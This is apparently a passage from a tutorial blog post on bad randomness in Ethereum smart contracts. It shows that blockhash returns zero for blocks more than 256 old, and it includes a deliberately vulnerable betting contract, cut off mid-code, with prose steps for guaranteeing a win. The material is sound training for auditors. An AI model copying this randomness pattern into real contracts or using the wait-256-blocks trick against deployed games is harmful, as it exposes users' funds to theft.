-0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">17.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">18.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span></p>
<p class="MsoNormal">The simple contract above is querying for the current block number
in the get_block_number function on line 8 and storing it within a block_number
variable created on line 4. This is the
current block number running on the blockchain. <o:p></o:p></p>
<p class="MsoNormal">Then we have a function on line 11 which takes the block
number and uses it with the blockhash button to retrieve the blockhash and
store it in the myHash variable. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892550">BlockHash Vulnerability Walk and Talk:</a> <o:p></o:p></h2>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Execute the get_block_number function</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Execute the set_hash function</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Check the block_number value</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Check the myHash value</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Execute the wasteTime function 256 times </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Execute the set_hash function</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Check your myHash Value</p><p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->What happened and what implications would this
have on calculations your using this value with? </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">So, we have 2 variables of a block number and a block hash
associated with that block number. What’s the big deal. Well let’s walk through
this step by step and then play around with the remaining wasteTime function on
line 15 to find out. <o:p></o:p></p>
<p class="MsoNormal">Starting out if we have the deployed contract and we execute
the get_block_number function followed by the set_hash function we will get the
following result when checking the block_number and myHash variables. <o:p></o:p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
<v:stroke joinstyle="miter">
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0">
<v:f eqn="sum @0 1 0">
<v:f eqn="sum 0 0 @1">
<v:f eqn="prod @2 1 2">
<v:f eqn="prod @3 21600 pixelWidth">
<v:f eqn="prod @3 21600 pixelHeight">
<v:f eqn="sum @0 0 1">
<v:f eqn="prod @6 1 2">
<v:f eqn="prod @7 21600 pixelWidth">
<v:f eqn="sum @8 21600 0">
<v:f eqn="prod @7 21600 pixelHeight">
<v:f eqn="sum @10 21600 0">
</v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
<v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
<o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="Picture_x0020_30" o:spid="_x0000_i1027" style="height: 252pt; mso-wrap-style: square; visibility: visible; width: 193.8pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEn64t7LIfJ-3NhiuJg2ZoK8DmlwHJjN289sXPv0wGbgdfqhSS3f6ZWiguMTkeXOcei_HpBGsrW8mm_-QDSfEXLE7TdOY-pqiXS1NpcWM9qmHAAlplXG5zhOKoLn3OcpGqIB3v9dsKJze5/s382/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="382" data-original-width="294" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEn64t7LIfJ-3NhiuJg2ZoK8DmlwHJjN289sXPv0wGbgdfqhSS3f6ZWiguMTkeXOcei_HpBGsrW8mm_-QDSfEXLE7TdOY-pqiXS1NpcWM9qmHAAlplXG5zhOKoLn3OcpGqIB3v9dsKJze5/w308-h400/1.png" width="308" /></a></div><br /><p></p>
<p class="MsoNormal">We see the blocknumber of 3 and then a hex value
representing the block hash that starts with 0x995f. Now if we were to use this
hash as a random value or within some algorithm to create a random value it
might work depending what we were doing and the level of security required for
the length of time we need it to be perceived as random for. It wouldn’t be
secure but maybe good enough for your operations. However, a blockhash has a dark little secret
a developer may not be aware of. Block
hashes in Ethereum have short term memory when it comes to blocks older than
256 from the current block. <o:p></o:p></p>
<p class="MsoNormal">So, what happens when we calculate a block after a time
lapse? Let’s give that a try by executing the wasteTime button till we reach
block 259. Waste time sets a block value
and discards it to enumerate blocks for us, it doesn’t actually make any real
changes. Normally blocks on the Ethereum network enumerate on their own every
30 seconds and we would simply just wait for 256 blocks, but we don’t have
traffic on our blockchain so we will enumerate it ourselves with wasteTime. <o:p></o:p></p>
<p class="MsoNormal"><v:shape id="Picture_x0020_32" o:spid="_x0000_i1026" style="height: 42.6pt; mso-wrap-style: square; visibility: visible; width: 468pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_o6hLRkXgAcgkurePpHycsdRxFfApqp6UrDNTerZPYPscrXP8C6ed3NEgZGyBVbp83CCnacnnBMwnn9s4J85ua4WVoNmVRyMNXApLteNgOvPt1zg_MFaP28kiaR3qJ5sKwwvfNCbQOKsX/s638/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="58" data-original-width="638" height="58" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_o6hLRkXgAcgkurePpHycsdRxFfApqp6UrDNTerZPYPscrXP8C6ed3NEgZGyBVbp83CCnacnnBMwnn9s4J85ua4WVoNmVRyMNXApLteNgOvPt1zg_MFaP28kiaR3qJ5sKwwvfNCbQOKsX/w640-h58/2.png" width="640" /></a></div><br /><p></p>
<p class="MsoNormal">After we reach block 259 we execute the set_hash function
again which will take block_number of 3 which is older than 256 blocks and get
the hash. If you retrieve the myHash variable again after executing the
set_hash function again it results in:<o:p></o:p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><v:shape id="Picture_x0020_33" o:spid="_x0000_i1025" style="height: 152.4pt; mso-wrap-style: square; visibility: visible; width: 223.8pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image003.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5pBtQku-wKb9X2rmaUGfA6HDojD46JgaZfnc_sFVUuRjAblkHPbSPsLvirxxdgQPlrHOHz81XnOJ0rVspJ6DD0gRNb2WpnTbTHny34RTbbtCwxkrd5FKx7NG2rtNyMJMmUIdkNDwEuia_/s298/3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="203" data-original-width="298" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5pBtQku-wKb9X2rmaUGfA6HDojD46JgaZfnc_sFVUuRjAblkHPbSPsLvirxxdgQPlrHOHz81XnOJ0rVspJ6DD0gRNb2WpnTbTHny34RTbbtCwxkrd5FKx7NG2rtNyMJMmUIdkNDwEuia_/w400-h272/3.png" width="400" /></a></div><br /><p></p>
<p class="MsoNormal">You will notice the myHash variable is now 0x000. because
blocks older than 256 from the current block are not stored and result in a value
of 0. Having a predictable value of 0 in
our random algorithm can very likely create a situation where it would be easy
to recreate the random number to bypass or cheat functionality in the smart
contract. <o:p></o:p></p><p class="MsoNormal"><br /></p><h3 style="text-align: left;">Video Walkthrough of Bad Randomness:</h3><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/0raQKinipjU" width="320" youtube-src-id="0raQKinipjU"></iframe></div><br /><p class="MsoNormal"><br /></p><p class="MsoNormal"><br /></p>
<p class="MsoNormal">A classical terrible example is something similar to this. <o:p></o:p></p>
<div style="border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]-->1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><!--[endif]--><span style="color: #660066;">Function</span> checkWinner<span style="color: #666600;">()</span> <span style="color: #000088;">public</span> payable <span style="color: #666600;">{</span> <o:p></o:p></pre><pre style="border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]-->2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><!--[endif]--><span style="color: #660066;"> If</span> <span style="color: #666600;">(</span>blockhash<span style="color: #666600;">(</span>blockNumber<span style="color: #666600;">)</span> <span style="color: #666600;">%</span> <span style="color: #006666;">2</span> <span style="color: #666600;">==</span> <span style="color: #006666;">0</span><span style="color: #666600;">)</span> <span style="color: #666600;">{</span><o:p></o:p></pre><pre style="border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]-->3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><!--[endif]--><span style="color: #660066;"> Msg</span><span style="color: #666600;">.</span>sender<span style="color: #666600;">.</span>transfer<span style="color: #666600;">(</span>balance<span style="color: #666600;">);</span><o:p></o:p></pre><pre style="border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]-->4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><!--[endif]--><span style="color: #666600;"> }</span><o:p></o:p></pre><pre style="border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l0 level1 lfo4; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]-->5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><!--[endif]--><span style="color: #666600;">}</span><o:p></o:p></pre></div>
<h2> <o:p></o:p></h2>
<p class="MsoNormal">In the example above uses a blockhash function with a
blockNumber variable within its calculation. The issue with this calculation is
if that blockNumber variable is more than 256 blocks old it will return Zero
and based on the calculation the user will win every single time. <o:p></o:p></p>
<p class="MsoNormal">All the attacker would need to do is play the game to create
the blocknumber variable. Then the attacker would simply wait for 256 blocks to
pass before checking if he has won the game. By doing this the attacker would
guarantee a win. </p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">In order to see how this would work let’s take a look at a
simple game of chance that implements this concept.</p><p class="MsoNormal">Action Steps:</p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Type out this code within remix</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Deploy the code using Ganache and Web3 options</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Try to locate the vulnerability within the code</p><p class="MsoListParagraphCxSpLast" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Try to exploit the vulnerability this code so
that you are always the winner</p></blockquote><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoListParagraphCxSpFirst" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;">pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;">contract simpleVulnerableBlockHash {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">uint</span><span style="color: white;"> balance = </span><span style="color: indianred;">2</span><span style="color: white;"> ether;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> mapping (address => </span><span style="color: #e28964;">uint</span><span style="color: white;">) blockNumber; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">bool</span><span style="color: white;"> </span><span style="color: #e28964;">public</span><span style="color: white;"> win; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">(msg.</span><span style="color: #e28964;">value</span><span style="color: white;"> >= </span><span style="color: indianred;">10</span><span style="color: white;"> ether);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">11.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">12.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">13.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> get_block_number() </span><span style="color: #e28964;">internal</span><span style="color: white;"> { <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">14.</span><!--[endif]--><span style="color: white;"> blockNumber[msg.sender] = </span><span style="color: #e28964;">uint</span><span style="color: white;">(block.number);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">15.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">16.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">17.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> playGame() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">18.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;"> (msg.</span><span style="color: #e28964;">value</span><span style="color: white;"> >= </span><span style="color: indianred;">1</span><span style="color: white;"> ether);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">19.</span><!--[endif]--><span style="color: white;"> get_block_number();<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">20.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">21.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">22.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">23.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> checkWinner() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable { <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">24.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">if</span><span style="color: white;"> (</span><span style="color: #e28964;">uint</span><span style="color: white;">(blockhash(blockNumber[msg.sender])) % </span><span style="color: indianred;">2</span><span style="color: white;"> == </span><span style="color: indianred;">0</span><span style="color: white;">) {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">25.</span><!--[endif]--><span style="color: white;"> win = </span><span style="color: #e28964;">true</span><span style="color: white;">; <o:p></o:p></span></pre><pre 